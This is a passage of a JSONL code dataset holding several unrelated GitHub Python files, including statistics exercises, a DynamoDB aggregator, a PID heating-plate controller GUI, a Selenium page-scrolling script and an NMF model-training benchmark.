elif not all(check_arg(argument) for argument in args):\n print('All arguments should be integers from -10000 to 10000')\n else:\n args = list(map(float, args))\n print(check_if_meet(x1=args[0], v1=args[1], x2=args[2], v2=args[3]))\n","repo_name":"Marge-m/tasks_lifestream","sub_path":"kangaroos.py","file_name":"kangaroos.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"28902345998","text":"''' ==============================================================\n이항 검정 : 두가지 값을 가지는 확률변수의 분포를 판단하는데 효과적\n예 : 10명의 자격증 시험 합격자 중 남자가 6명이었다고 할 때 '남자가 여자보다 합격률이 높다고 할 수 있는가'\n\nbinom test\n================================================================'''\nimport pandas as pd\nimport scipy.stats as stats\n\ndata = pd.read_csv(\"../testdata/one_sample.csv\")\n# print(data.head(3))\n# print(data.survey.unique()) # [1 0]\nctab = pd.crosstab(index=data['survey'], columns='count')\nctab.index = ['불만족', '만족']\nprint(ctab) # 자바 교육 후 교육 만족 여부 교차표 불만족 14\n\n# 양측 검정 : 방향성이 없다. 기존 80% 만족율 기준 검증 실시\n# 형식 stats.binom_test([136. 414] ,p \nx = stats.binom_test([136, 14], p=0.8, alternative='two-sided') # 양측검정이므로 alternative에 two-sided\nprint(x) # p-value : 0.0067 < 0.05 귀무기각. 기존(80%) 만족율과 차이가 있다.\n# 양측검정에서는 기존 만족율보다 크다, 작다 라는 방향성을 제시하지 않는다.\n\nx = stats.binom_test([14, 136], p=0.2, alternative='two-sided')\nprint(x)\n\nprint(\"\\n\")\n# 단측 검정 : 방향성이 있다.\n# 만족, 불만족 순으로 서술. greater하면 150/136이 기존보다 높은지 알수있다.\nx = stats.binom_test([136, 14], p=0.8, alternative='greater')\nprint(x) # p-value : 0.00031 < 0.05 귀무기각. 기존(80%) 만족율 이상의 효과가 있다.(귀무 : 없다)\n# 따라서 기존 20%보다 불만율이 작아졌다라고 할 수 있다.\n\nx = stats.binom_test([14, 136], p=0.8, alternative='less')\nprint(x)\n\n","repo_name":"bnb1212/Portfolio","sub_path":"PythonProject/py_hypo/pack1/hypo14binom.py","file_name":"hypo14binom.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10883047376","text":"import json\nfrom data_download16.country_codes import get_country_codes\n\nfile = 'population_data.json'\n# 加载数据到列表\nwith open(file) as f:\n pop_data = json.load(f)\n\n# 打印每个国家2010年的人口数\nfor pop_dict in pop_data:\n if pop_dict['Year'] == '2010':\n country_name = pop_dict['Country Name']\n '''\n Python不能直接将包含小数点的字符串'1127437398.85751'\n 转换为整数(这个小数值可能是人口数据缺失时通过插值得到的)。\n 为消除这种错误,我们先将字符串转换为浮点数,再将浮点数转换为整数\n '''\n population = int(float(pop_dict['Value']))\n # print('%-50s:%-50s' % (country_name, str(population)))\n code = get_country_codes(country_name)\n if code:\n print(code + ':' + str(population))\n else:\n print('error - ' + country_name)\n ","repo_name":"gitly110/python_exc","sub_path":"python从入门到实践/data_download16/world_population.py","file_name":"world_population.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40193378773","text":"import copy\n\nclass Cube:\n \n def __init__(self, initial_layer):\n self.initial_layer = initial_layer\n self.matrix = [[]]\n for row in initial_layer:\n self.matrix[0].append([c for c in row])\n \n\n def enlarge(self):\n for z in self.matrix:\n for x in z:\n x.insert(0, '.')\n x.append('.')\n z.insert(0, ['.' for i in range(len(x))])\n z.append(['.' for i in range(len(x))])\n self.matrix.insert(0, [['.' for i in range(len(x))] for j in range(len(z))])\n self.matrix.append([['.' for i in range(len(x))] for j in range(len(z))])\n\n\n def check(self, elem, z, x, y):\n counter = 0\n for i in [-1, 0, 1]:\n for j in [-1, 0, 1]:\n for k in [-1, 0, 1]:\n if not all([num == 0 for num in [i, j, k]]):\n if (z+i >= 0 and z+i < len(self.matrix)) and (x+j >= 0 and x+j < len(self.matrix[z+i])) and \\\n (y+k >= 0 and y+k < len(self.matrix[z+i][x+j])):\n if self.matrix[z+i][x+j][y+k] == '#':\n # print(f\"Found # in {z} {x} {y}\")\n counter += 1\n if elem == '#':\n if counter in [2, 3]:\n return '#'\n return '.'\n else:\n if counter == 3:\n return '#'\n return '.'\n\n\n def elaborate(self):\n self.enlarge()\n parallel_matrix = copy.deepcopy(self.matrix)\n for i, z in enumerate(self.matrix):\n for j, x in enumerate(z):\n for k, elem in enumerate(x):\n parallel_matrix[i][j][k] = self.check(elem, i, j, k)\n \n self.matrix = parallel_matrix\n\n\n def count_actives(self):\n counter = 0\n for z in self.matrix:\n for x in z:\n for elem in x:\n if elem == '#':\n counter += 1\n return counter","repo_name":"Kavuti/advent-of-code-2020","sub_path":"17/cube.py","file_name":"cube.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8641462307","text":"import json\nimport boto3\nfrom boto3.dynamodb.conditions import Attr\n\n\n# Database helper class\nclass Database:\n def __init__(self):\n self.dynamodb = boto3.resource('dynamodb')\n self.raw_data_table = self.dynamodb.Table('BSM_DATA')\n self.aggregated_data_table = self.dynamodb.Table('BSM_agg_data')\n\n def get_raw_data(self, start_time, end_time):\n response = self.raw_data_table.scan(\n FilterExpression=Attr('timestamp').between(start_time, end_time)\n )\n return response.get('Items', [])\n\n def store_aggregated_data(self, aggregated_data):\n for agg_data in aggregated_data:\n self.aggregated_data_table.put_item(Item=agg_data)\n\n\n# Load the rules from JSON file\ndef load_rules_from_file(filename):\n with open(filename, 'r') as file:\n return json.load(file)\n\n\n# Aggregate data based on the rules\ndef aggregate_data(start_time, end_time):\n db = Database()\n\n raw_data = db.get_raw_data(start_time, end_time)\n print(f\"Fetched raw data: {raw_data}\")\n\n rules = load_rules_from_file(\"rules.json\")\n print(f\"Loaded rules: {rules}\")\n\n aggregated_data = []\n\n for rule in rules:\n matching_data_points = [\n data for data in raw_data if 'datatype' in data and data['datatype'] == rule['type']\n ]\n # rest of the code remains unchanged\n\n\n\n print(f\"Matching data points for {rule['type']}: {matching_data_points}\")\n\n if not matching_data_points:\n print(f\"No data points found for {rule['type']}. Skipping aggregation.\")\n continue\n\n avg_value = sum([data['value'] for data in matching_data_points]) / len(matching_data_points)\n\n print(f\"Calculated average value for {rule['type']}: {avg_value}\")\n\n if rule['avg_min'] <= avg_value <= rule['avg_max']:\n aggregated_data.append({\n 'type': rule['type'],\n 'avg_value': avg_value,\n 'start_time': start_time,\n 'end_time': end_time,\n })\n\n db.store_aggregated_data(aggregated_data)\n\n\n# Main execution\nif __name__ == \"__main__\":\n #aggregate_data(\"2023-09-06 20:00:00\", \"2023-09-06 20:28:00\")\n aggregate_data(\"2023-09-07 20:25:07\", \"2023-09-07 20:25:37\")\n\n","repo_name":"snbaskarraj/IOT","sub_path":"Documents/IITM_ANSWERS_BASELINETEST/IITMCLASSDOCS/AWSIOTPROJECT/great-learning-projects-main/Project/C04P01-Project-HealthCare-IoT-Cloud/Bsm.py","file_name":"Bsm.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72451370400","text":"#------------------------------------------------------------------------------\n#PWM, PID Library\n\nfrom __future__ import print_function\nimport csv\n#from fmpy.util import plot_result\nimport RPi.GPIO as GPIO\nfrom serial import Serial\nimport time\n#import multiprocessing as mp\n\n#------------------------------------------------------------------------------\n#GUI Library\nimport matplotlib.pyplot as plt\n#from matplotlib import animation\nimport matplotlib as mpl\nimport matplotlib.style as mplstyle\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nimport tkinter\n\n#------------------------------------------------------------------------------\n#PID Setting\n\nprostart=time.time()\nprevtime=time.time()\n\ntkp=120.0\ntki=10.0\ntkd=0.001\n\ntsettemp=180#-6.3\n\nbkp=120.0\nbki=10.0\nbkd=0.001\n\nbsettemp=180#-6.3\n\nerrorprev=0\npwmflag=0\n\nstatflag=0\n\ndef mapping(x,in_min,in_max,out_min,out_max):\n return (x-in_min)*(out_max-out_min)/(in_max-in_min)+out_min\n\n#------------------------------------------------------------------------------\n#Jetson nano PWM\n\noutput_pins = {\n 'JETSON_XAVIER': 18,\n 'JETSON_NANO': 33,\n 'JETSON_NX': 33,\n 'CLARA_AGX_XAVIER': 18,\n}\noutput_pin = output_pins.get(GPIO.model, None)\nother_pins={'JETSON_NANO':32,}\nother_pin = other_pins.get(GPIO.model, None)\n\nif output_pin is None:\n raise Exception('PWM not supported on this board')\nif other_pin is None:\n raise Exception('PWM not supported on this board')\n\n#------------------------------------------------------------------------------\n#Arduino Temp value\n\ntimeV=0.001\ntimesave=[]\ntempsave1=[]\ntempsave2=[]\nvolt1=[]\nvolt2=[]\n\nwith open(\"input.csv\",\"w\",encoding=\"utf-8\",newline=\"\") as f:\n writer=csv.writer(f)\n writer.writerow([\"time\",\"u1\",\"u2\"])\n \nwith open(\"output.csv\",\"w\",encoding=\"utf-8\") as o:\n writer=csv.writer(o)\n writer.writerow([\"time\",\"y1\",\"y2\"])\n\n#------------------------------------------------------------------------------\n#Arduino Serial\n\nmega=Serial(port=\"/dev/ttyACM0\",baudrate=9600,)\n\ndef Decode(A):\n A=A.decode()\n t1=float(A[:6])\n t2=float(A[7:])\n return t1, t2\n \ndef Ardread():\n if mega.readable():\n res=mega.readline()\n code=Decode(res)\n return code\n else:\n print(\"Read Error (Ardread)\")\n\n#------------------------------------------------------------------------------\n#Temp Graph\n \ndef PIDCal(settemp,t,kp,ki,kd):\n global pwmflag\n global errorprev\n \n error=settemp-t\n \n if error>10:\n PID=99\n else:\n pidvalue=round(kp*error+ki*error*(0.2)+kd*(error-errorprev)/(0.2),1)\n PID=mapping(pidvalue,0,415,38,99)\n PID=round(PID,0)\n \n if PID >= 100:\n PID=99\n elif PID < 0:\n PID=1\n\n if t>settemp:\n if pwmflag==0:\n PID=38\n pwmflag=1\n elif pwmflag==1:\n PID=38\n pwmflag=2\n elif pwmflag==2:\n PID=39\n pwmflag=0\n else:\n pass\n \n errorprev=error\n \n return PID\n\n#------------------------------------------------------------------------------\n#Main Code, PWM\n\ndef MAIN_code():\n global timeV\n global statflag\n global GI\n GPIO.setmode(GPIO.BOARD)\n GPIO.setup(output_pin, GPIO.OUT, initial=GPIO.HIGH)\n GPIO.setup(other_pin, GPIO.OUT, initial=GPIO.HIGH)\n p = GPIO.PWM(output_pin, 100)\n q = GPIO.PWM(other_pin, 100)\n p.start(5)\n q.start(5)\n\n try:\n \"\"\"\n Ftemp1, Ftemp2=Ardread()\n\n if Ftemp1>168 and Ftemp2>168:\n settemp=180+1.3\n else:\n pass\n \"\"\"\n start=time.time()\n \n Temp1, Temp2=Ardread()\n \n topselect(Temp1)\n \n tsettemp=float(topspinbox1.get())\n tkp=float(topspinbox2.get())\n tki=float(topspinbox3.get())\n tkd=float(topspinbox4.get())\n \n bottomselect(Temp2)\n \n bsettemp=float(bottomspinbox1.get())\n bkp=float(bottomspinbox2.get())\n bki=float(bottomspinbox3.get())\n bkd=float(bottomspinbox4.get())\n \n tempsave1.append(Temp1)\n tempsave2.append(Temp2)\n \n PID1=PIDCal(tsettemp,Temp1,tkp,tki,tkd)\n PID2=PIDCal(bsettemp,Temp2,bkp,bki,bkd)\n \n volt1.append(PID1*0.05)\n volt2.append(PID2*0.05)\n \n t.append(GI)\n T1.append(Temp1)\n T2.append(Temp2)\n\n line1.set_data(t,T1)\n line2.set_data(t,T2)\n\n xmin,xmax=ax.get_xlim()\n if GI>xmax:\n ax.set_xlim(xmin+1,xmax+1)\n \n \"\"\"fig.canvas.restore_region(axbackground)\n\n ax.draw_artist(line1)\n ax.draw_artist(line2)\n\n fig.canvas.blit(ax.bbox)\"\"\"\n fig.canvas.draw()\n \n fig.canvas.flush_events()\n \n print(\"Top Set : \",tsettemp)\n print(\"Temp1 : \",Temp1)\n print(\"pid1 : \",PID1)\n print(\"volt1 : \", round(volt1[-1],3))\n \n print(\"Bottom Set : \",bsettemp)\n print(\"Temp2 : \",Temp2)\n print(\"pid2 : \",PID2)\n print(\"volt2 : \", round(volt2[-1],3))\n \n p.ChangeDutyCycle(PID1)\n q.ChangeDutyCycle(PID2)\n \n end=time.time()\n print(\"time : \",round((end-start),4))\n timeV=round(timeV+(end-start),3)\n GI=timeV\n timesave.append(timeV)\n \n except KeyboardInterrupt:\n print(\"Ctrl+C, Work Done\")\n proend=time.time()\n sec=round((proend-prostart),4)\n mins=int(round(sec/60,0))\n secs=int(round(sec%60,0))\n print(\"work time (s) : \",str(sec)+\"s\")\n print(\"work time (m) : \",str(mins)+\"m \"+str(secs)+\"s\")\n \n with open(\"input.csv\",\"a\",encoding=\"utf-8\",newline=\"\") as f:\n writer=csv.writer(f)\n i=0\n while len(timesave)!=i:\n writer.writerow([timesave[i],tempsave1[i],tempsave2[i]])\n i=i+1\n \n with open(\"output.csv\",\"a\",encoding=\"utf-8\",newline=\"\") as o:\n writer=csv.writer(o)\n j=0\n while len(timesave)!=j:\n writer.writerow([timesave[j],volt1[j],volt2[j]])\n j=j+1\n finally:\n p.stop()\n GPIO.cleanup()\n\n#------------------------------------------------------------------------------\n#Tkinter GUI\n\nt=[]\nT1=[]\nT2=[]\nGI=0\n\ndef start_heat():\n global statflag\n consolelabel.config(text=\"Code Start\")\n statusframe.config(bg=\"green\")\n statuslabel.config(text=\"start\", bg=\"green\")\n statflag=0\n pass\n\ndef stop_heat():\n global statflag\n consolelabel.config(text=\"Code Stop\")\n statusframe.config(bg=\"red\")\n statuslabel.config(text=\"stop\", bg=\"red\")\n statflag=1\n pass\n\nfig=plt.figure()\n\nwindow = tkinter.Tk()\nwindow.title(\"Sealing Test\")\nwindow.geometry(\"1024x720+100+100\")\nwindow.resizable(False,False)\n\ngraphframe=tkinter.Frame(window, relief=\"solid\", bd=2)\ngraphframe.pack(side=\"right\", fill=\"both\", expand=True)\n\ncanvas=FigureCanvasTkAgg(fig, master=graphframe) #\ncanvas.get_tk_widget().pack(fill=\"both\", expand=True)\n\n#mpl.use(\"GTK3Agg\")\nmpl.rcParams['path.simplify']=True\nmpl.rcParams['path.simplify_threshold']=1.0\nmpl.rcParams['agg.path.chunksize']=10000\nmplstyle.use('fast')\n\nax=fig.add_subplot()\n\nline1,=ax.plot([],lw=2,color=\"b\")\nline2,=ax.plot([],lw=2,color=\"g\")\n\nax.set_xlabel(\"Time (s)\")\nax.set_ylabel(\"Temp ('C)\")\nax.set_title(\"Temp Graph\")\nax.grid(True)\n\nax.set_xlim([0,600])\nax.set_ylim([0,250])\n\n\"\"\"\nfig.canvas.draw()\nplt.show()\n\naxbackground=fig.canvas.copy_from_bbox(plt.bbox)\n\"\"\"\n\n\nconsoleframe=tkinter.Frame(graphframe, relief=\"solid\", bd=2, bg=\"white\")\nconsoleframe.pack(side=\"bottom\", fill=\"both\", expand=False)\n\nfileframe=tkinter.Frame(consoleframe, relief=\"solid\", bd=2)\nfileframe.pack(side=\"top\", fill=\"both\", expand=False)\n\ndef findfile():\n fileframe.filename=tkinter.filedialog.askopenfilename(initialdir=\"/home/pi/Downloads\", title=\"Choose Your File\", filetypes=((\"fmu file\", \"*.fmu\"),))\n filelabel_2.config(text=fileframe.filename)\n consolelabel.config(text=\"Load file\")\n\nfilebutton=tkinter.Button(fileframe, text=\"Open\", width=15, command=findfile)\nfilebutton.grid(row=1, column=0)\n\nfilelabel_1=tkinter.Label(fileframe,text=\"File : \")\nfilelabel_1.grid(row=1, column=1)\n \nfilelabel_2=tkinter.Label(fileframe,text=\"File Name Here\")\nfilelabel_2.grid(row=1, column=2)\n \nconsolelabel=tkinter.Label(consoleframe,text=\"something wrong, print here\", bg=\"white\")\nconsolelabel.pack(anchor=\"w\", expand=False)\n\nactframe=tkinter.Frame(window, relief=\"solid\", bd=2)\nactframe.pack(side=\"top\", fill=\"both\", expand=True)\n\nstatusframe=tkinter.Frame(actframe, relief=\"solid\", bg=\"green\")\nstatusframe.pack(side=\"bottom\", fill=\"both\", expand=True)\n\nstatuslabel=tkinter.Label(statusframe,text=\"start\", bg=\"green\")\nstatuslabel.pack(expand=True)\n\nactlabel=tkinter.Label(actframe,text=\"코드 동작\")\nactlabel.pack()\n\nactbutton_1=tkinter.Button(actframe, text=\"Start\", width=15, command=start_heat)\nactbutton_1.pack()\n\nactbutton_2=tkinter.Button(actframe, text=\"Stop\", width=15, command=stop_heat)\nactbutton_2.pack()\n\n\ncontrolframe=tkinter.Frame(window, relief=\"solid\", bd=2)\ncontrolframe.pack(side=\"bottom\", fill=\"both\", expand=True)\n\ncontrollabel=tkinter.Label(controlframe,text=\"코드 제어\")\ncontrollabel.pack()\n\n\ntopframe=tkinter.Frame(controlframe, relief=\"solid\", bd=2)\ntopframe.pack(side=\"top\",fill=\"both\",expand=True)\n\ntopvar=tkinter.DoubleVar()\n\ndef topselect(t):\n topscale.set(t)\n \ntoplabel1=tkinter.Label(topframe, text=\"Heating Plate Top ('C)\")\ntoplabel1.pack()\n\ntopscale=tkinter.Scale(topframe, variable=topvar, relief=\"sunken\", command=topselect, orient=\"horizontal\", showvalue=True, resolution=0.01, digit=3, to=tsettemp+5, length=200)\ntopscale.pack()\n\ntoplabel2=tkinter.Label(topframe, text=\"Set Temp ('c)\")\ntoplabel2.pack(anchor=\"w\")\n\ntopspinbox1=tkinter.Spinbox(topframe, from_=1, to=240, validate=\"all\", values=tsettemp)\ntopspinbox1.pack()\n\ntoplabel3=tkinter.Label(topframe, text=\"Kp\")\ntoplabel3.pack(anchor=\"w\")\n\ntopspinbox2=tkinter.Spinbox(topframe, validate=\"all\", values=tkp)\ntopspinbox2.pack()\n\ntoplabel4=tkinter.Label(topframe, text=\"Ki\")\ntoplabel4.pack(anchor=\"w\")\n\ntopspinbox3=tkinter.Spinbox(topframe, validate=\"all\", values=tki)\ntopspinbox3.pack()\n\ntoplabel5=tkinter.Label(topframe, text=\"Kd\")\ntoplabel5.pack(anchor=\"w\")\n\ntopspinbox4=tkinter.Spinbox(topframe, validate=\"all\", values=tkd)\ntopspinbox4.pack()\n\n\nbottomframe=tkinter.Frame(controlframe, relief=\"solid\", bd=2)\nbottomframe.pack(side=\"top\",fill=\"both\",expand=True)\n\nbottomvar=tkinter.DoubleVar()\n\ndef bottomselect(t):\n bottomscale.set(t)\n\nlabel5_1=tkinter.Label(bottomframe, text=\"Heating Plate Bottom ('C)\")\nlabel5_1.pack()\n\nbottomscale=tkinter.Scale(bottomframe, variable=bottomvar, relief=\"sunken\", command=bottomselect, orient=\"horizontal\", showvalue=True, resolution=0.01, digit=3, to=bsettemp+5, length=200)\nbottomscale.pack()\n\nbottomlabel2=tkinter.Label(bottomframe, text=\"Set Temp ('c)\")\nbottomlabel2.pack(anchor=\"w\")\n\nbottomspinbox1=tkinter.Spinbox(bottomframe, from_=1, to=240, validate=\"all\", values=bsettemp)\n\nbottomspinbox1.pack()\n\nbottomlabel3=tkinter.Label(bottomframe, text=\"Kp\")\nbottomlabel3.pack(anchor=\"w\")\n\nbottomspinbox2=tkinter.Spinbox(bottomframe, validate=\"all\", values=bkp)\nbottomspinbox2.pack()\n\nbottomlabel4=tkinter.Label(bottomframe, text=\"Ki\")\nbottomlabel4.pack(anchor=\"w\")\n\nbottomspinbox3=tkinter.Spinbox(bottomframe, validate=\"all\", values=bki)\nbottomspinbox3.pack()\n\nbottomlabel5=tkinter.Label(bottomframe, text=\"Kd\")\nbottomlabel5.pack(anchor=\"w\")\n\nbottomspinbox4=tkinter.Spinbox(bottomframe, validate=\"all\", values=bkd)\nbottomspinbox4.pack()\n\n\n#------------------------------------------------------------------------------\n#main\n\n\nif __name__==\"__main__\":\n while True:\n if statflag==0:\n MAIN_code()\n window.update()\n elif statflag==1:\n window.update()\n","repo_name":"DevelopJz/Sealing_Temp_P-gain_Controller","sub_path":"pidtest/PIDGUI_fix.py","file_name":"PIDGUI_fix.py","file_ext":"py","file_size_in_byte":11917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"27052849946","text":"\n\nfrom selenium import webdriver\nimport time\n\n# path=r'C:\\pythonWorkspace\\phantomjs.exe'\npath=r'C:\\pythonWorkspace\\chromedriver.exe'\n#创建浏览器对象\n# browser=webdriver.PhantomJS(path)\nbrowser= webdriver.Chrome(executable_path=path)\nurl='https://movie.douban.com/typerank?type_name=%E7%88%B1%E6%83%85&type=13&interval_id=100:90&action='\nbrowser.get(url=url)\ntime.sleep(10)\nbrowser.save_screenshot(r'phantomjs\\d豆瓣1.png')\n#执行js代码,模拟滚动到底部,滑动到10000\njs='window.scrollTo(0,10000)'\nbrowser.execute_script(js)\ntime.sleep(5)\nbrowser.save_screenshot(r'phantomjs\\d豆瓣2.png')\njs='window.scrollTo(0,10000)'\nbrowser.execute_script(js)\ntime.sleep(5)\nbrowser.save_screenshot(r'phantomjs\\d豆瓣3.png')\nprint('----结束----')\ntime.sleep(200)\nbrowser.quit()\n\n\n\n\n\n\n\n\n","repo_name":"xieyalong/test_python","sub_path":"PhantomJS2-下拉滚动到底部.py","file_name":"PhantomJS2-下拉滚动到底部.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29840854591","text":"\nclass Config:\n\n WIDTH = 128\n HEIGHT = 128\n STATE_CHANNEL = 2\n ENTROPY_BETA = 0.01\n SEED = 100\n USE_SEG = True\n\n # train\n MAX_GLOBAL_EP = 100001\n MAX_EP_STEPS = 20\n EP_BOOTSTRAP = 100\n UPDATE_GLOBAL_ITER = 8\n SAMPLE_BATCH_SIZE = 4\n FREQUENCY_PLANNER = 2\n FREQUENCY_VAE = 1\n\n GPU_ID = 0\n NF = 16\n BOTTLE = 64\n SCORE_THRESHOLD = 0.98\n WARMUP_EPS = 100\n MEMORY_SIZE = 800\n TAU = 0.005\n FIXED_ALPHA = 0.01\n GAMMA = 0.99\n INIT_TEMPERATURE = 0.1\n BSPLINE_AUG = False\n\n PRE_TRAINED = False\n\n # main parameters\n LEARNING_RATE = 4e-5\n\n # server\n IMAGE_TYPE = 'liver' # liver, brain\n DATA_TYPE = 'lits' # liver, brain\n TRAIN_DATA = '/datasets/affined_3d/train_3d.h5'\n TEST_DATA = '/datasets/liver/lspig_affine_test_3d.h5'\n # TEST_DATA = '/datasets/liver/sliver_affine_test_3d.h5'\n TRAIN_SEG_DATA = '/datasets/affined_3d/affine_test_3d.h5'\n ATLAS = '/datasets/affined_3d/atlas.npz'\n\n LOG_DIR = './log/'\n MODEL_PATH = './model/'\n PROCESS_PATH = 'process'\n TEST_PATH = 'result'\n ACTOR_MODEL = MODEL_PATH + 'actor.ckpt'\n ENCODER_MODEL = MODEL_PATH + 'encoder.ckpt'\n\n\n # for evaluation\n idx = 10000\n ACTOR_MODEL = MODEL_PATH + 'planner_{}.ckpt'.format(idx)\n CRITIC1_MODEL = MODEL_PATH + 'critic1_{}.ckpt'.format(idx)\n CRITIC2_MODEL = MODEL_PATH + 'critic2_{}.ckpt'.format(idx)\n ACTOR_MODEL_RL = MODEL_PATH + 'actor_{}.ckpt'.format(idx)\n\n\n\n","repo_name":"Algolzw/SPAC-Deformable-Registration","sub_path":"code/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"54"} +{"seq_id":"997356555","text":"\"\"\"Main of hitati model.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport functools\nimport numpy as np\nimport tensorflow as tf\nfrom agents.tools import AttrDict\nimport time\nimport matplotlib.pyplot as plt\nfrom typing import List, Tuple\nimport seaborn as sns\n\n# sns.set(color_codes=True)\nsns.set(style='whitegrid')\n# matplotlib.use('TkAgg') # Can change to 'Agg' for non-interactive mode\n\nimport matplotlib.pyplot as plt\n\nplt.rcParams['svg.fonttype'] = 'none'\n\nfrom sakurai_nmf import benchmark_model\nfrom sakurai_nmf.optimizer import NMFOptimizer\n\n\ndef default_config():\n # Batch size\n batch_size = FLAGS.batch_size\n # Dataset\n path = FLAGS.path\n # Number of matrix factorization iterations\n num_mf_iters = FLAGS.num_mf_iters\n # Number of back propagation iterations\n num_bp_iters = FLAGS.num_bp_iters\n # Learning rate for adam\n learning_rate = FLAGS.lr\n # NMF actiovation\n if FLAGS.use_relu:\n activation = tf.nn.relu\n else:\n activation = None\n # NMF use bias\n use_bias = FLAGS.use_bias\n return locals()\n\n\ndef train_and_test(train_op, num_iters, sess, model, x_train, y_train, x_test, y_test, batch_size=1,\n output_debug=False, add_loss_before_train=False) -> Tuple[np.ndarray, np.ndarray]:\n # 1 epoch = num_timesteps * batch_size\n total_train_losses = []\n total_test_losses = []\n num_timesteps = x_train.shape[0] // batch_size\n\n # Before training\n if add_loss_before_train:\n train_losses = []\n for _ in range(5):\n x, y = benchmark_model.batch(x_train, y_train, batch_size=batch_size)\n train_losses.append(sess.run(model.mse_losses, feed_dict={\n model.inputs: x,\n model.labels: y,\n }))\n total_train_losses.append(np.mean(train_losses, axis=0))\n test_losses = []\n for _ in range(5):\n x, y = benchmark_model.batch(x_test, y_test, batch_size=batch_size)\n test_losses.append(sess.run(model.mse_losses, feed_dict={\n model.inputs: x,\n model.labels: y,\n }))\n total_test_losses.append(np.mean(test_losses))\n\n durations = [.0]\n for i in range(num_iters):\n # Train...\n start_time = time.time()\n train_losses = []\n test_losses = []\n\n # Inference and compute loss during training.\n for t in range(num_timesteps):\n x, y = benchmark_model.batch(x_train, y_train, batch_size=batch_size)\n _, train_loss = sess.run([train_op, model.mse_losses], feed_dict={\n model.inputs: x,\n model.labels: y,\n })\n assert train_loss.shape == (4,), \"train_loss shape {}\".format(train_loss.shape)\n train_losses.append(train_loss)\n duration = time.time() - start_time\n durations.append(duration)\n\n # Compute test accuracy.\n for _ in range(5):\n x, y = benchmark_model.batch(x_test, y_test, batch_size=batch_size)\n test_losses.append(sess.run(model.mse, feed_dict={\n model.inputs: x,\n model.labels: y,\n }))\n train_loss = np.mean(train_losses, axis=0)\n assert train_loss.shape[0] == 4\n test_loss = np.mean(test_losses)\n\n print('\\r({}/{}) [Train]loss {:.3f}, time, {:.3f} [Test]loss {:.3f}'.format(\n i + 1, num_iters,\n np.mean(train_loss), duration, test_loss), end='', flush=True)\n total_train_losses.append(train_loss)\n total_test_losses.append(test_loss)\n print()\n print('Mean training time {}'.format(np.mean(durations)))\n\n total_train_losses = np.asarray(total_train_losses).T\n total_test_losses = np.asarray(total_test_losses).T\n\n return (total_train_losses, total_test_losses)\n\n\ndef main(_):\n print('use_bias', FLAGS.use_bias)\n LABEL_SIZE = 4\n # Set configuration\n config = AttrDict(default_config())\n # Build one hot mnist model.\n model = benchmark_model.build_tf_hitachi_simple_model(config.batch_size,\n use_bias=config.use_bias,\n activation=config.activation,\n label_size=LABEL_SIZE)\n\n # Load hitachi data.\n (x_train, y_train), (x_test, y_test) = benchmark_model.load_hitachi_data(\n config.path, test_size=0.1)\n\n # Testing whether the dataset have correct shape.\n # assert x_train.shape[1] == 3\n # assert y_train.shape[1] == 4\n\n # Minimize model's loss with NMF optimizer.\n # optimizer = NMFOptimizer(config)\n optimizer = NMFOptimizer()\n train_op = optimizer.minimize(model.loss)\n\n # Minimize model's loss with Adam optimizer.\n bp_optimizer = tf.train.AdamOptimizer(config.learning_rate)\n bp_train_op = bp_optimizer.minimize(model.loss)\n\n init = tf.global_variables_initializer()\n with tf.Session() as sess:\n sess.run(init)\n _train_and_test = functools.partial(train_and_test,\n sess=sess, model=model,\n x_train=x_train, y_train=y_train,\n x_test=x_test, y_test=y_test,\n batch_size=config.batch_size)\n\n print('Adam-optimizer')\n # Train with Adam optimizer.\n bp_train_losses, bp_test_losses = _train_and_test(bp_train_op, num_iters=config.num_bp_iters,\n add_loss_before_train=True)\n\n print('NMF-optimizer')\n # Train with NMF optimizer.\n mf_train_losses, mf_test_losses = _train_and_test(train_op, num_iters=config.num_mf_iters)\n\n length_bp = bp_train_losses.shape[1]\n\n # mf_train_losses.insert(0, bp_train_losses[-1])\n mf_train_losses = np.hstack([bp_train_losses[:, -1, np.newaxis], mf_train_losses])\n\n # mf_test_losses.insert(0, bp_test_losses[-1])\n length_mf = mf_train_losses.shape[1]\n\n bp_x = np.arange(0, length_bp)\n mf_x = np.arange(length_bp - 1, length_bp + length_mf - 1)\n\n plt.rc('grid', linestyle=\"--\", color='black')\n # 'dodgerblue', 'black'\n\n fig, ax = plt.subplots(2, 2, figsize=(6 * 2.5, 4 * 2.5))\n\n if config.num_bp_iters > 0:\n ax[0, 0].plot(bp_x, bp_train_losses[0], linestyle='-', color='dodgerblue', label='BP-B{}'.format(1))\n ax[0, 1].plot(bp_x, bp_train_losses[1], linestyle='-', color='dodgerblue', label='BP-B{}'.format(2))\n ax[1, 0].plot(bp_x, bp_train_losses[2], linestyle='-', color='dodgerblue', label='BP-B{}'.format(3))\n ax[1, 1].plot(bp_x, bp_train_losses[3], linestyle='-', color='dodgerblue', label='BP-B{}'.format(4))\n if config.num_mf_iters > 0:\n ax[0, 0].plot(mf_x, mf_train_losses[0], linestyle='-', color='black', label='NMF-B{}'.format(1))\n ax[0, 1].plot(mf_x, mf_train_losses[1], linestyle='-', color='black', label='NMF-B{}'.format(2))\n ax[1, 0].plot(mf_x, mf_train_losses[2], linestyle='-', color='black', label='NMF-B{}'.format(3))\n ax[1, 1].plot(mf_x, mf_train_losses[3], linestyle='-', color='black', label='NMF-B{}'.format(4))\n ax[0, 